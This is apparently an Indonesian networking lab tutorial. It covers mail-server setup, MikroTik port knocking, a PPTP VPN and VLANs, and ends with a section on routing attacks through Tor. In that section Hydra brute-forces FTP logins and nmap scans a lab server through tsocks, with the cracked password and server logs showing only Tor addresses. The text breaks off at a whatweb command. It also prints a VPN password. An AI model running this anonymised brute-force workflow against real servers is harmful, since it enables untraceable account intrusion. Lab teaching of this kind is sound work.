POP3 (Post Office Protocol version 3) adalah protokol yang digunakan untuk mengambil surat elektronik (email) dari server email. Protokol ini erat hubungannya dengan protokol SMTP di mana protokol SMTP berguna untuk mengirim surat elektronik dari komputer pengirim ke server.

Sumber : https://id.wikipedia.org/wiki/Post_Office_Protocol_versi_3

SMTP (Simple Mail Transfer Protocol) adalah salah satu protokol yang digunakan untuk pengiriman surat elektronik.

Buat domain baru, misal domainlokal.com

Hasil dari pembuatan domainlokal.com

Jalankan program Quick'n Easy Mail Server, lalu klik Mail Server Setup Wizard

Klik Next

POP3 Port 110

SMTP Port 25

Klik Next

Klik Next

Isi domain lalu next

Pilih Configure Settings

Pilih Advanced

Centang pada Authentication required for non-local recipients tidak dihidupkan

Isi Server Hostname, DNS Server, lalu Add isi Domain dan Mail Server seperti di atas.

Balik ke home lalu pilih Configure User Accounts

Add User Accounts lalu isi username, password dan full name.

Start

```
root@dhcppc4:~# nmap 192.168.1.127

Starting Nmap 6.25 ( http://nmap.org ) at 2016
Nmap scan report for 192.168.1.127
Host is up (0.00064s latency).
Not shown: 987 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
110/tcp   open  pop3
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
902/tcp   open  iss-realsecure
912/tcp   open  apex-mesh
3389/tcp  open  ms-wbt-server
5900/tcp  open  vnc
50000/tcp open  ibm-db2
MAC Address: C0:4A:00:00:A0:83 (Unknown)
```

Hasil dari nmap 192.168.1.127, ditampilkan port 25 dan 110 terbuka.

Di komputer client set DNS Server nya.

Klik Outlook Express.

Isi display name.

Isi E-mail address.

Isi Incoming mail (POP3, IMAP or HTTP) Server dan Outgoing mail (SMTP) Server:

Isi account name dan password.

Kirim e-mail dengan Create mail lalu isi alamat tujuan, subject dan isi e-mail, kemudian klik Send.

Setelah Klik Send, maka e-mail terlihat di C:\Mailboxes\coba

Untuk menarik e-mail dari Server, klik Send/Recv.

2.15 Port Knocking

Port Knocking adalah metode yang dilakukan untuk membuka akses ke port tertentu yang telah diblock oleh Firewall pada perangkat jaringan dengan cara mengirimkan paket atau koneksi tertentu.

Sumber : http://www.mikrotik.co.id/artikel_lihat.php?id=105

```
[admin@MikroTik] > interface print
Flags: D - dynamic, X - disabled, R - running, S - slave
 #     NAME                                TYPE                MTU L2MTU  MA
 0  R  ether1                              ether              1500
 1  R  ether2                              ether              1500
[admin@MikroTik] > ip address print
Flags: X - disabled, I - invalid, D - dynamic
 #    ADDRESS            NETWORK         INTERFACE
 0    192.168.1.168/24   192.168.1.0     ether1
 1    192.168.10.1/24    192.168.10.0    ether2
[admin@MikroTik] > _
```

Tampilan interface dan ip address pada mikrotik router.

Paket koneksi untuk membuka port adalah ping.

Address list kosong, artinya belum ada yang belum boleh mengakses service.

```
C:\>nmap 192.168.1.168

Starting Nmap 6.25 ( http://nmap.org ) at 2016-09-14 19:26 Pacific

Nmap scan report for 192.168.1.168
Host is up (0.00s latency).
Not shown: 994 closed ports
PORT     STATE    SERVICE
21/tcp   filtered ftp
22/tcp   filtered ssh
23/tcp   filtered telnet
80/tcp   filtered http
2000/tcp open     cisco-sccp
8291/tcp filtered unknown
MAC Address: 08:00:27:CA:0E:07 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 18.83 seconds

C:\>_
```

Jika dilakukan nmap maka hasilnya, port 21,22,23,80 dan 8291 state nya filtered. Dengan filtered maka service tidak dapat diakses oleh client.

```
C:\>ping 192.168.1.168

Pinging 192.168.1.168 with 32 bytes of data:

Reply from 192.168.1.168: bytes=32 time=-1ms TTL=64
Reply from 192.168.1.168: bytes=32 time<1ms TTL=64
Reply from 192.168.1.168: bytes=32 time=-1ms TTL=64
Reply from 192.168.1.168: bytes=32 time<1ms TTL=64

Ping statistics for 192.168.1.168:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = -1ms, Average = 1073741823ms

C:\>nmap 192.168.1.168

Starting Nmap 6.25 ( http://nmap.org ) at 2016-09-14 19:27 Pac

Nmap scan report for 192.168.1.168
Host is up (0.000013s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
80/tcp   open  http
2000/tcp open  cisco-sccp
8291/tcp open  unknown
MAC Address: 08:00:27:CA:0E:07 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 17.25 seconds

C:\>
```

Client melakukan ping dan hasilnya port 21,22,23, 80 dan 8291 menjadi open.

Di Address Lists muncul ip address yang membuka port.

Jika ingin dikembalikan ke awal, cukup ip 192.168.1.127 yang membuka port di remove.

```
C:\>nmap 192.168.1.168

Starting Nmap 6.25 ( http://nmap.org ) at 2016-09-14 19:29

Nmap scan report for 192.168.1.168
Host is up (0.00s latency).
Not shown: 994 closed ports
PORT      STATE    SERVICE
21/tcp    filtered ftp
22/tcp    filtered ssh
23/tcp    filtered telnet
80/tcp    filtered http
2000/tcp open      cisco-sccp
8291/tcp filtered unknown
MAC Address: 08:00:27:CA:0E:07 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 18.56 second

C:\>_
```

Hasilnya jika dilakukan nmap maka port 21,22,23,80,829 state nya filtered.

2.16 VPN

Virtual Private Network, yaitu sebuah koneksi private melalui jaringan publik.

```
[admin@MikroTik] > interface print
Flags: D - dynamic, X - disabled, R - running, S - slave
 #     NAME                                TYPE                MTU
 0  R  ether1                              ether              1500
 1  R  ether2                              ether              1500
 2     pptp-in1                            pptp-in
[admin@MikroTik] > ip address print
Flags: X - disabled, I - invalid, D - dynamic
 #    ADDRESS            NETWORK          INTERFACE
 0    192.168.1.167/24   192.168.1.0      ether1
 1    192.168.10.1/24    192.168.10.0     ether2
[admin@MikroTik] > _
```

IP WAN Mikrotik 192.168.1.167

```
C:\>nmap 192.168.1.167

Starting Nmap 6.25 ( http://nmap.org ) at 2016-09-14 20:35 I

Nmap scan report for 192.168.1.167
Host is up (0.00s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
80/tcp   open  http
1723/tcp open  pptp
2000/tcp open  cisco-sccp
8291/tcp open  unknown
MAC Address: 08:00:27:A7:3C:3D (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 17.28 seconds

C:\>_
```

Port 1723 terbuka.

Username : user1

Password : baseball

Untuk Windows XP

Untuk client windows XP, di network connect pilih create a new connection.

Klik Next

Pilih Connect to the network at my workplace.

Pilih Virtual Private Network Connection.

Isi Company Name, klik Next.

```
[admin@MikroTik] > interface print
Flags: D - dynamic, X - disabled, R - running, S - slave
 #     NAME                                TYPE                MTU
 0  R  ether1                              ether              1500
 1  R  ether2                              ether              1500
 2     pptp-in1                            pptp-in
[admin@MikroTik] > ip address print
Flags: X - disabled, I - invalid, D - dynamic
 #   ADDRESS            NETWORK         INTERFACE
 0   192.168.1.167/24   192.168.1.0     ether1
 1   192.168.10.1/24    192.168.10.0    ether2
[admin@MikroTik] > _
```

IP WAN Mikrotik 192.168.1.167

Isi ip WAN Mikrotik.

Masuk ke VPN Client yang dibuat lalu klik properties.

Hapus centang di atas.

Isi username dan password.

Hasilnya seperti di atas.

Untuk Windows 8.1

Di Network and Sharing Center, klik Set up a new connection or network.

Pilih Connect to a workplace.

Isi IP address.

Creating the connection.

Connect

Masukkan username dan password.

Pada icon VPN Client klik kanan lalu properties.

Pada Security pilih Point to Point Tunneling Protocol (PPTP)

Hasilnya client telah terkoneksi.

```
PPP adapter VPN Client:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : VPN Client
   Physical Address. . . . . . . . . :
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::f83b:19b:4fb4:5c40%48(Preferred)
   IPv4 Address. . . . . . . . . . . : 192.168.10.6(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.255
   Default Gateway . . . . . . . . . : 0.0.0.0
   DHCPv6 IAID . . . . . . . . . . . : 805316366
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-1D-70-29-F7-00-27-0E-12-81-

   DNS Servers . . . . . . . . . . . : 8.8.8.8
                                       8.8.4.4
   NetBIOS over Tcpip. . . . . . . . : Enabled
```

IP Address yang didapatkan dari VPN Server.

```
C:\>ping 192.168.10.6

Pinging 192.168.10.6 with 32 bytes of data:

Reply from 192.168.10.6: bytes=32 time=9ms TTL=127
Reply from 192.168.10.6: bytes=32 time=1ms TTL=127
Reply from 192.168.10.6: bytes=32 time=1ms TTL=127
Reply from 192.168.10.6: bytes=32 time=1ms TTL=127

Ping statistics for 192.168.10.6:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 1ms, Maximum = 9ms, Average = 3ms

C:\>
```

Ping ke komputer yang ada di LAN.

```
C:\Users\data>ping 192.168.10.62

Pinging 192.168.10.62 with 32 bytes of data:
Reply from 192.168.10.62: bytes=32 time=156ms TTL=127
Reply from 192.168.10.62: bytes=32 time=1ms TTL=127
Reply from 192.168.10.62: bytes=32 time=1ms TTL=127
Reply from 192.168.10.62: bytes=32 time=2ms TTL=127

Ping statistics for 192.168.10.62:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 1ms, Maximum = 156ms, Average = 40ms

C:\Users\data>
```

Komputer yang di LAN melakukan ping balik pada komputer yang ada di jaringan WAN.

2.17 VLAN

Virtual LAN atau disingkat VLAN merupakan sekelompok perangkat pada satu LAN atau lebih yang dikonfigurasikan (menggunakan perangkat lunak pengelolaan) sehingga dapat berkomunikasi seperti halnya bila perangkat tersebut terhubung ke jalur yang sama, padahal sebenarnya perangkat tersebut berada pada sejumlah segmen LAN yang berbeda.

Sumber : https://id.wikipedia.org/wiki/VLAN

Multi-SSID

VLAN ID pada semua SSID adalah 1

Semua antar segmen dapat saling berkomunikasi .

Masing-masing segmen berdiri sendiri karena tiap segmen memiliki VLAN ID yang berbeda.

SSID1 dan SSID2 dapat saling berkomunikasi tapi keduanya tidak bisa berkomunikasi dengan SSID3 dan SSID4 karena berbeda VLAN ID.

2.18 TOR

Tor is free software for enabling anonymous communication. The name is derived from an acronym for the original software project name "The Onion Router".

Tor lalu enter

```
root@dhcppc4: ~
File  Edit  View  Search  Terminal  Help
theirs is behind. Tor requires an accurate clock to work: please check your time
, timezone, and date settings.
Sep 14 22:53:17.000 [notice] I learned some more directory information, but not
enough to build a circuit: We need more microdescriptors: we have 1118/7126, and
 can only build 0% of likely paths. (We have 14% of guards bw, 14% of midpoint b
w, and 16% of exit bw.)
Sep 14 22:53:18.000 [notice] Bootstrapped 68%: Loading relay descriptors.
Sep 14 22:53:19.000 [notice] Bootstrapped 69%: Loading relay descriptors.
Sep 14 22:53:19.000 [notice] Bootstrapped 71%: Loading relay descriptors.
Sep 14 22:53:19.000 [notice] Bootstrapped 72%: Loading relay descriptors.
Sep 14 22:53:20.000 [notice] Bootstrapped 74%: Loading relay descriptors.
Sep 14 22:53:20.000 [notice] Bootstrapped 76%: Loading relay descriptors.
Sep 14 22:53:21.000 [notice] Bootstrapped 77%: Loading relay descriptors.
Sep 14 22:53:36.000 [notice] We now have enough directory information to build c
ircuits.
Sep 14 22:53:36.000 [notice] Bootstrapped 80%: Connecting to the Tor network.
Sep 14 22:53:36.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.
Sep 14 22:53:37.000 [notice] Tor has successfully opened a circuit. Looks like c
lient functionality is working.
Sep 14 22:53:37.000 [notice] Bootstrapped 100%: Done.
Sep 14 22:56:14.000 [warn] Received http status code 404 ("Not found") from serv
er '91.121.84.137:4051' while fetching "/tor/keys/fp/27B6B5996C426270A5C95488AA5
BCEB6BCC86956".
```

nano /etc/tsocks.conf

```
server = 127.0.0.1
# Server type defaults to 4 so we need to specify it as 5 for this one
#server_type = 5
# The port defaults to 1080 but I've stated it here for clarity
server_port = 9050
```

Isi sesuai seperti di atas

Angka awal ip publik adalah 36.

```
root@dhcppc4:/home# tsocks hydra -l kurniawan -P pass.txt 36.73.127.79 ftp
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2016-09-14 23:08:04
[DATA] 14 tasks, 1 server, 14 login tries (l:1/p:14), ~1 try per task
[DATA] attacking service ftp on port 21
23:08:05 libtsocks(6057): SOCKS V4 connect rejected:
23:08:05 libtsocks(6057): SOCKS server refused connection
23:08:05 libtsocks(6054): SOCKS V4 connect rejected:
23:08:05 libtsocks(6054): SOCKS server refused connection
23:08:05 libtsocks(6059): SOCKS V4 connect rejected:
23:08:05 libtsocks(6059): SOCKS server refused connection
23:08:05 libtsocks(6053): SOCKS V4 connect rejected:
23:08:05 libtsocks(6053): SOCKS server refused connection
23:08:05 libtsocks(6063): SOCKS V4 connect rejected:
23:08:05 libtsocks(6063): SOCKS server refused connection
23:08:05 libtsocks(6062): SOCKS V4 connect rejected:
23:08:05 libtsocks(6062): SOCKS server refused connection
23:08:05 libtsocks(6052): SOCKS V4 connect rejected:
23:08:05 libtsocks(6052): SOCKS server refused connection
23:08:05 libtsocks(6058): SOCKS V4 connect rejected:
23:08:05 libtsocks(6058): SOCKS server refused connection
[STATUS] attack finished for 36.73.127.79 (waiting for children to finish)
[21][ftp] host: 36.73.127.79   login: kurniawan   password: baseball
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-09-14 23:08:08
root@dhcppc4:/home#
```

Melakukan brute force dengan memanfaatkan TOR.

```
(000012)9/14/2016 18:10:24 PM - (not logged in) (35.0.127.52)> 530 Login or password incorrect!
(000013)9/14/2016 18:10:24 PM - (not logged in) (35.0.127.52)> PASS *****
(000013)9/14/2016 18:10:24 PM - (not logged in) (35.0.127.52)> 530 Login or password incorrect!
(000014)9/14/2016 18:10:24 PM - (not logged in) (35.0.127.52)> PASS ******
(000014)9/14/2016 18:10:24 PM - (not logged in) (35.0.127.52)> 530 Login or password incorrect!
(000015)9/14/2016 18:10:24 PM - (not logged in) (35.0.127.52)> PASS ****
(000015)9/14/2016 18:10:24 PM - (not logged in) (35.0.127.52)> 530 Login or password incorrect!
(000017)9/14/2016 18:10:25 PM - (not logged in) (35.0.127.52)> PASS ********
(000017)9/14/2016 18:10:25 PM - (not logged in) (35.0.127.52)> 530 Login or password incorrect!
(000016)9/14/2016 18:10:25 PM - (not logged in) (35.0.127.52)> PASS ********
(000016)9/14/2016 18:10:25 PM - kurniawan (35.0.127.52)> 230 Logged on
(000012)9/14/2016 18:10:25 PM - (not logged in) (35.0.127.52)> disconnected.
(000013)9/14/2016 18:10:25 PM - (not logged in) (35.0.127.52)> disconnected.
(000014)9/14/2016 18:10:26 PM - (not logged in) (35.0.127.52)> disconnected.
(000015)9/14/2016 18:10:26 PM - (not logged in) (35.0.127.52)> disconnected.
(000017)9/14/2016 18:10:26 PM - (not logged in) (35.0.127.52)> disconnected.
(000016)9/14/2016 18:10:26 PM - kurniawan (35.0.127.52)> disconnected.
```

Terdeteksi IP nya TOR di FTP Server.

```
root@dhcppc4:/etc# nano tsocks.conf
root@dhcppc4:/etc# tsocks ftp 36.73.127.79
Connected to 36.73.127.79.
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezil
Name (36.73.127.79:root): kurniawan
331 Password required for kurniawan
Password:
230 Logged on
Remote system type is UNIX.
ftp>
```

Login ke FTP Server.

```
FileZilla Server version 0.9.41 beta
Copyright 2001-2012 by Tim Kosse (tim.kosse@filezilla-project.org)
Connecting to server...
Connected, waiting for authentication
Logged on
(000011)9/14/2016 18:07:04 PM - (not logged in) (35.0.127.52)> Connected, sending welcome message...
(000011)9/14/2016 18:07:04 PM - (not logged in) (35.0.127.52)> 220-FileZilla Server version 0.9.41 beta
(000011)9/14/2016 18:07:04 PM - (not logged in) (35.0.127.52)> 220-written by Tim Kosse (Tim.Kosse@gmx.de)
(000011)9/14/2016 18:07:04 PM - (not logged in) (35.0.127.52)> 220 Please visit http://sourceforge.net/projects/filezilla/
(000011)9/14/2016 18:07:08 PM - (not logged in) (35.0.127.52)> USER kurniawan
(000011)9/14/2016 18:07:08 PM - (not logged in) (35.0.127.52)> 331 Password required for kurniawan
(000011)9/14/2016 18:07:11 PM - (not logged in) (35.0.127.52)> PASS ********
(000011)9/14/2016 18:07:11 PM - kurniawan (35.0.127.52)> 230 Logged on
(000011)9/14/2016 18:07:12 PM - kurniawan (35.0.127.52)> SYST
(000011)9/14/2016 18:07:12 PM - kurniawan (35.0.127.52)> 215 UNIX emulated by FileZilla
```

Terdeteksi IP dari TOR yang melakukan login.

Tor dan Tsocks di kali linux 2017

Download : https://www.torproject.org/projects/torbrowser.html.en#downloads

Download, extract lalu jalankan.

https://pkgs.org/download/tsocks

Download, lalu jalankan dengan perintah : dpkg -i (namafile).deb

Kembali ke Tor, Tor dijalankan dengan akses user biasa, bukan root

Jika dijalankan dengan root maka hasilnya akan seperti di atas

Reboot

Login dengan user biasa

Jalankan kembali

Hasil tampilan Tor

My ip (v4)

WhatIsMyIP.com®
THE IP ADDRESS EXPERTS
Log In
Create Account
My IP
Speed Test
IP Lookup
Hide My IP
Change My IP
Search this website ...
Questions & Answers
IP Tools
How To
Knowledge Base
Resources
42.6K
AdChoices
Internet Speed Test
Find IP
Change IP Address
Hide My IP VPN
Your IP Address Is:
2a02:c207:3002:5060:0:0:0:1
WORLD OF TANKS
City:
Munich

Ip (v6)

Cara melihat port tsocks yang digunakan Tor

Pilih edit lalu preferences

Pilih network lalu settings

Port yang digunakan sudah diketahui yaitu 9150

Untuk tsocks, setelah diinstall masuk ke file tsocks.conf

cd /home

nano tsocks.conf

Jika ingin lebih ringkas ketik : nano /etc/tsocks.conf

Berikan tanda pagar pada server_type = 5

Kondisi ftp server setelah dibuka

```
root@kalibr:/etc# ftp data.xcodetraining.com
Connected to serverdata.ip-dynamic.com.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (data.xcodetraining.com:kurniawan):
```

ftp data.xcodetraining.com

Hasilnya ip asli terdeteksi FTP Server

```
root@kalibr:/etc# tsocks ftp data.xcodetraining.com
Connected to serverdata.ip-dynamic.com.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (data.xcodetraining.com:kurniawan):
```

Dicoba menggunakan tsocks.

Ketik : tsocks ftp data.xcodetraining.com lalu enter

```
File  Server  Edit  ?
FileZilla Server 0.9.60 beta
Copyright 2001-2016 by Tim Kosse (tim.kosse@filezilla-project.org)
https://filezilla-project.org/
Connecting to server localhost:14147...
Connected, waiting for authentication
Logged on
You appear to be behind a NAT router. Please configure the passive mode settings and forward a range of ports in your router.
Warning: FTP over TLS is not enabled, users cannot securely log in.
(000001)2/4/2018 4:26:28 AM - (not logged in) (180.246.173.203)> Connected on port 21, sending welcome message...
(000001)2/4/2018 4:26:28 AM - (not logged in) (180.246.173.203)> 220-FileZilla Server 0.9.60 beta
(000001)2/4/2018 4:26:28 AM - (not logged in) (180.246.173.203)> 220-written by Tim Kosse (tim.kosse@filezilla-project.org)
(000001)2/4/2018 4:26:28 AM - (not logged in) (180.246.173.203)> 220 Please visit https://filezilla-project.org/
(000001)2/4/2018 4:27:09 AM - (not logged in) (180.246.173.203)> disconnected.
(000002)2/4/2018 4:27:25 AM - (not logged in) (197.231.221.211)> Connected on port 21, sending welcome message...
(000002)2/4/2018 4:27:25 AM - (not logged in) (197.231.221.211)> 220-FileZilla Server 0.9.60 beta
(000002)2/4/2018 4:27:25 AM - (not logged in) (197.231.221.211)> 220-written by Tim Kosse (tim.kosse@filezilla-project.org)
(000002)2/4/2018 4:27:25 AM - (not logged in) (197.231.221.211)> 220 Please visit https://filezilla-project.org/
(000002)2/4/2018 4:28:25 AM - (not logged in) (197.231.221.211)> 421 Login time exceeded. Closing control connection.
(000002)2/4/2018 4:28:25 AM - (not logged in) (197.231.221.211)> disconnected.

ID   Account   IP   Transfer
```

Hasilnya ip Tor yang tercatat di log

```
root@kalibr:/home# tsocks hydra -l admin -P pass.txt data.xcodetraining.com ftp
Hydra v8.7-dev (c) 2018 by van Hauser/THC - Please do not use in military or sec
ret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-02-03 16:33:04
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:1/p:0), ~4 tr
y per task
[DATA] attacking ftp://data.xcodetraining.com:21/
[21][ftp] host: data.xcodetraining.com   login: admin   password: baseball
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-02-03 16:33:08
root@kalibr:/home#
```

Contoh hasil ujicoba hacking dengan metode brute force menggunakan wordlist

```
(000006)2/4/2018 4:33:06 AM - (not logged in) (197.231.221.211)> 331 Password required for admin
(000003)2/4/2018 4:33:07 AM - (not logged in) (197.231.221.211)> PASS *****
(000003)2/4/2018 4:33:07 AM - (not logged in) (197.231.221.211)> 530 Login or password incorrect!
(000005)2/4/2018 4:33:07 AM - (not logged in) (197.231.221.211)> PASS *********
(000005)2/4/2018 4:33:07 AM - (not logged in) (197.231.221.211)> 530 Login or password incorrect!
(000004)2/4/2018 4:33:07 AM - (not logged in) (197.231.221.211)> PASS ********
(000004)2/4/2018 4:33:07 AM - admin (197.231.221.211)> 230 Logged on
(000006)2/4/2018 4:33:07 AM - (not logged in) (197.231.221.211)> PASS ******
(000006)2/4/2018 4:33:07 AM - (not logged in) (197.231.221.211)> 530 Login or password incorrect!
(000003)2/4/2018 4:33:08 AM - (not logged in) (197.231.221.211)> disconnected.
(000005)2/4/2018 4:33:08 AM - (not logged in) (197.231.221.211)> disconnected.
(000004)2/4/2018 4:33:08 AM - admin (197.231.221.211)> disconnected.
(000006)2/4/2018 4:33:08 AM - (not logged in) (197.231.221.211)> disconnected.
```

Hasilnya seperti di atas, ditampilkan ip Tor mencoba-coba login

Uji coba untuk web server

Log kosong

Scanning port biasa dilakukan

Hasilnya tidak ada log

Scanning lebih dalam dengan nmap -A data.xcodetraining.com untuk mendapatkan nama aplikasi dan versi aplikasi yang digunakan

Hasilnya ip asli tercatat jika attacker melakukan nmap -A secara biasa

File Edit Format View Help

```
180.246.173.203 - - [04/Feb/2018:04:41:05 +0700] "GET / HTTP/1.0" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "PROPFIND / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET / HTTP/1.0" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET /.git/HEAD HTTP/1.1" 404
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "PROPFIND / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET /xampp/ HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "POST / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "POST /sdk HTTP/1.1" 404 1133
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET /splash.php HTTP/1.1" 40
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "PROPFIND / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET /nmaplowercheck151769407
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET /robots.txt HTTP/1.1" 40
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET /favicon.ico HTTP/1.1" 2
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET /HNAP1 HTTP/1.1" 404 113
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET / HTTP/1.1" 302 -
```

Terkena log

```
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET /HNAP1 HTTP/1.1" 404 1133
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "EOWB / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET /xampp/ HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "GET / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:17 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "GET /splash.php HTTP/1.1" 404 1133
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "HEAD / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "POST / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "OPTIONS / HTTP/1.1" 302 -
```

Batas bawah

Log web server juga mencatat saat attacker mencoba melakukan scanning dengan nmap -A

```
root@kalibr:/home# tsocks nmap -A data.xcodetraining.com
Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-03 16:46 EST
Nmap scan report for data.xcodetraining.com (180.246.173.203)
Host is up (0.0012s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE   VERSION
21/tcp open  tor-socks Tor SOCKS proxy
| socks-auth-info:
|   No authentication
|_  Username and password
| socks-open-proxy:
|   status: open
|   versions:
|_    socks4
80/tcp open  tor-socks Tor SOCKS proxy
|_http-title: This is a SOCKS Proxy, Not An HTTP Proxy
| socks-auth-info:
|   No authentication
|_  Username and password
```

```
(000013)2/4/2018 4:41:17 AM - (not logged in) (180.246.173.203)> 500 Syntax error, command unr
(000013)2/4/2018 4:41:17 AM - (not logged in) (180.246.173.203)> QUIT
(000013)2/4/2018 4:41:17 AM - (not logged in) (180.246.173.203)> 221 Goodbye
(000013)2/4/2018 4:41:17 AM - (not logged in) (180.246.173.203)> disconnected.
```

ID	Account	IP	Transfer

```
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "POST / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "OPTIONS / HTTP/1.1" 302 -
180.246.173.203 - - [04/Feb/2018:04:41:18 +0700] "OPTIONS / HTTP/1.1" 302 -
```

Jika menggunakan Tor hasilnya tidak diketahui

```
root@kalibr:/etc# tsocks ftp data.xcodetraining.com
Connected to serverdata.ip-dynamic.com.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (data.xcodetraining.com:kurniawan): ^Croot@kalibr:/etc#
```

Jika demikian maka perlu cara berbeda yaitu misal untuk FTP jika ingin mengetahui aplikasi FTP yang digunakan server maka ketik : tsocks ftp data.xcodetraining.com

```
(000013)2/4/2018 4:41:17 AM - (not logged in) (180.246.173.203)> QUIT
(000013)2/4/2018 4:41:17 AM - (not logged in) (180.246.173.203)> 221 Goodbye
(000013)2/4/2018 4:41:17 AM - (not logged in) (180.246.173.203)> disconnected.
(000014)2/4/2018 5:00:39 AM - (not logged in) (62.210.13.58)> Connected on port 21, sending welcome message...
(000014)2/4/2018 5:00:39 AM - (not logged in) (62.210.13.58)> 220-FileZilla Server 0.9.60 beta
(000014)2/4/2018 5:00:39 AM - (not logged in) (62.210.13.58)> 220-written by Tim Kosse (tim.kosse@filezilla-project.org)
(000014)2/4/2018 5:00:39 AM - (not logged in) (62.210.13.58)> 220 Please visit https://filezilla-project.org/
(000014)2/4/2018 5:01:39 AM - (not logged in) (62.210.13.58)> 421 Login time exceeded. Closing control connection.
(000014)2/4/2018 5:01:39 AM - (not logged in) (62.210.13.58)> disconnected.
```

Hasilnya di Tor tetap ip Tor yang tercatat, tapi attacker sudah mengetahui aplikasi FTP apa yang digunakan oleh server.

```
root@kalibr:/etc# tsocks whatweb http://data.xcodetraining.com
